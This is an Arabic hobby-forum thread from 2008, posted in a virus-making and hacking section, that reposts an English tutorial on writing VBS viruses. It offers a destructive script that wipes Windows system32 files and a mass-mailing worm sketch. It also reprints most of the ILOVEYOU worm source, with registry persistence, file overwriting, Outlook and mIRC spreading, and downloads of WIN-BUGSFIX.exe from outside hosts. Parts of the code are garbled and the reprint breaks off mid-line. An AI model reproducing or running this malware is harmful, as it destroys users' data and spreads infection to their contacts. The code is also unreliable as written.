منتدى عشاق البرامج

منتدى عام للبرامج والبرمجة
 
الرئيسيةالبوابةاليوميةس .و .جبحـثالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 شرح لفيروس بصيغة vbs

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
somame
Admin
Admin
avatar

المساهمات : 381
تاريخ التسجيل : 19/04/2008
العمر : 33

مُساهمةموضوع: شرح لفيروس بصيغة vbs   الأربعاء مايو 21, 2008 1:00 am

Making VBS Viruses .... By RBG-7
The Viruses It Is My Life!!


How Make a Virus

Open Notepad Program & Write Your Virus Code Next Go to Menu Program & Choice Save And Save Your Virus In Any Name AnyThing.vbs Or Put Your Code Virus In HTML Page This :

كود:

Virus Code



Informations

'Create Folder This program creates a folder in the C drive'

كود:
Dim filesys, newfolder, newfolderpath
newfolderpath = "c:\\MyFolder"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
-----------------------------------------------------------

'DeleteFile - This deletes (a) file(s) even if they are read only files.'

كود:
dim filesysdelfile
Set filesysdelfile = CreateObject("Scripting.FileSystemObject")

filesysdelfile.DeleteFile "D:\\Folder\\*.*",True
Set filesysdelfile = Nothing
------------------------------------------------------------

'Deleting a Folder – Deletes a folder, EMPTY OR NOT, READ ONLY OR NOT’

كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("d:\\Folder") Then
foldersys.DeleteFolder "d:\\Folder",True
End if
------------------------------------------------------------

'Moving a file from a folder to

كود:
dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
filesys.****File "d:\\Folder\\*.*", "c:\\TEMP\\"
-----------------------------------------------------------

'Renaming a file - same as moving a file in the same directory with a different name'

'This part of the program Changes Jim.exe to Mike.exe, making sure that Mike.exe is not there yet, otherwise, it will not bother changing it'
Dim filesysren

كود:
Set filesysren = CreateObject("Scripting.FileSystemObject")
If filesysren.FileExists("d:\\Program Files\\jim.exe") Then
filesysren.****File "d:\\Program Files\\jim.exe", "d:\\Program Files\\Mike.exe"
End If
------------------------------------------------------------

' demonstrates how to utilize the Windows Scripting Host (WSH) by using its 'Run' method to execute other programs. Note the use of nested quotes to pass'
' a path that contains spaces along with command line arguments.
‘THE RUN is an &@#&@#&@#&@#&@#alent of START in BAT command – this EXAMPLE will run PAINTBRUSH and INTERNET EXPLORER and shows google as the start page.

كود:
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run "C:\\WINDOWS\\system32\\mspaint.exe"
shell.Run """C:\\Program Files\\Internet Explorer\\IExplore.exe"" http://www.google.com"/
-----------------------------------------------------------

'Copying a file - the if FileExists does not work, since VB does not complain even if the file already exists'

كود:
Dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
filesys.CopyFile "C:\\BuilderProjects\\jim.exe","C:\\TEMP\\",true
-----------------------------------------------------------

Viruses Collection

1.Standard Virus :

كود:
Print "WARNING: This virus will destroy your system"
Print "ha ha ha ha"
Print "Name of the virus:A7meedye"
Print "made by Ahmedo"
Dim filesys, newfolder, newfolderpath
newfolderpath = "c:\\WINDOWS\\Folder"
Set filesys = CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If

'Moving a file system - the if FileExists does not work'
Dim file****
Set file**** = CreateObject("Scripting.FileSystemObject")
file****.****File "a:\\*.*", "C:\\WINDOWS\\Start Menu\\Programs\\StartUp"

Dim file****
Set file**** = CreateObject("Scripting.FileSystemObject")
file****.****File "c:\\windows\\system\\*.*", "c:\\WINDOWS\\Folder\\"

'Deleting a file - you don't have to use FileExists'

Dim filedel
Set filedel = CreateObject("Scripting.FileSystemObject")
filedel.DeleteFile "c:\\windows\\system\\*.*"

Dim filedel
Set filedel = CreateObject("Scripting.FileSystemObject")
filedel.DeleteFile "c:\\Program Files\\*.*"

'Deleting a file - you don't have to use FileExists'

Dim filedelwsc
Set filedelwsc = CreateObject("Scripting.FileSystemObject")
filedelwsc.DeleteFile "c:\\windows\\system32\\*.wsc"

Dim filedeldrv
Set filedeldrv = CreateObject("Scripting.FileSystemObject")
filedeldrv.DeleteFile "c:\\windows\\system32\\*.drv"

Dim filedelvbs
Set filedelvbs = CreateObject("Scripting.FileSystemObject")
filedelvbs.DeleteFile "c:\\windows\\system32\\*.vbs"

Dim filedelsys
Set filedelsys = CreateObject("Scripting.FileSystemObject")
filedelsys.DeleteFile "c:\\windows\\system32\\*.sys"

Dim filedelnls
Set filedelnls = CreateObject("Scripting.FileSystemObject")
filedelnls.DeleteFile "c:\\windows\\system32\\*.nls"

Dim filedelexe
Set filedelexe = CreateObject("Scripting.FileSystemObject")
filedelexe.DeleteFile "c:\\windows\\system32\\*.exe"
2. Worm Virus :

كود:







MsgBox "Button Pressed!"
MsgBox "File copied to system",vbcritical, "Filecopied"







Option Explicit

Private Sub Open()
On error resume next
Dim ret As Long
Dim sTo As String
Dim sCC As String
Dim sBCC As String
Dim sSubject As String
Dim sBody As String

sTo = "Someone"
sCC = "Someone else"
sBCC = "Someone else again"
sSubject = "Have a look at this site! its well gd"
sBody = "Check out the attachment it is the best. " _
& "enjoy ."

On error resume next

ret = Shell("Start.exe " _
& "mailto:" & """" & sTo & """" _
& "?Subject=" & """" & sSubject & """" _
& "&cc=" & """" & sCC & """" _
& "&bcc=" & """" & sBCC & """" _
& "&Body=" & """" & sBody & """" _
& "&File=" & """" & "c:\\autoexec.bat" & """" _
, 0)
On error resume next

End Sub

Private Sub Open()
On error resume next
MsgBox "Welcome to a html virus"
MsgBox "this html virus was programed using vb and vbscripting"
Open c:\\backup.bat for Output as 1#
Print 1#, "@Echo off"
Print 1#, "cls"
Print 1#, "cd c:\\"
Print 1#, "md myfiles"
Print 1#, "Copy %0 c:\\myfiles\\computerdrive.bat"
Close 1#
On error resume next
End sub
-->
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://somame.mam9.com
somame
Admin
Admin
avatar

المساهمات : 381
تاريخ التسجيل : 19/04/2008
العمر : 33

مُساهمةموضوع: رد: شرح لفيروس بصيغة vbs   الأربعاء مايو 21, 2008 1:01 am

3.The Love Virus :

كود:
rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @grammersoft group /
Manila , Philippines
On Error Resume Next
Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr,rr
Set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\\oftware\\icrosoft\\indows Scripting
Host\\ettings\\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\\oftware\\icrosoft\\indows Scripting
Host\\ettings\\imeout",0,"REG_DWORD"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\\SKernel32.vbs")
c.Copy(dirwin&"\\in32DLL.vbs")
c.Copy(dirsystem&"\\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\\oftware\\icrosoft\\indows\\urrentVersion\\un\\SKernel32
",dirsystem&"\\SKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\\oftware\\icrosoft\\indows\\urrentVersion\\unServices\\i
n32DLL",dirwin&"\\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\\oftware\\icrosoft\\nternet
Explorer\\ownload Directory")
If (downread="") Then
downread="c:\\
End If
If (fileexist(dirsystem&"\\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\\oftware\\icrosoft\\nternet Explorer\\ain\\tart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\\oftware\\icrosoft\\nternet Explorer\\ain\\tart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\\oftware\\icrosoft\\nternet Explorer\\ain\\tart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\\oftware\\icrosoft\\nternet Explorer\\ain\\tart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe"
End If
End If
If (fileexist(downread&"\\IN-BUGSFIX.exe")=0) Then
regcreate
"HKEY_LOCAL_MACHINE\\oftware\\icrosoft\\indows\\urrentVersion\\un\\IN-BUGSFI
X",downread&"\\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\\oftware\\icrosoft\\nternet Explorer\\ain\\tart
Page","about:blank"
End If
End Sub
Sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\\)
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.Name)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
bname=fso.GetBaseName(f1.path)
Set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
Set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.Close
Set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set scriptini=fso.CreateTextFile(folderspec&"\\cript.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.Close
eq=folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f,f1,sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
End Sub
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
Set regedit=CreateObject("WScript.Shell")
Set out=WScript.CreateObject("Outlook.Application")
Set mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To mapi.AddressLists.Count
Set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\\oftware\\icrosoft\\AB\\&a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\\oftware\\icrosoft\\AB\\&malead)
If (regad="") Then
Set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\\oftware\\icrosoft\\AB\\&malead,1,"REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\\oftware\\icrosoft\\AB\\&a,a.AddressEntries.Count
Else
regedit.RegWrite
"HKEY_CURRENT_USER\\oftware\\icrosoft\\AB\\&a,a.AddressEntries.Count
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub html
On Error Resume Next
Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://somame.mam9.com
 
شرح لفيروس بصيغة vbs
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتدى عشاق البرامج :: صناعة الفيروسات والهاكر-
انتقل الى: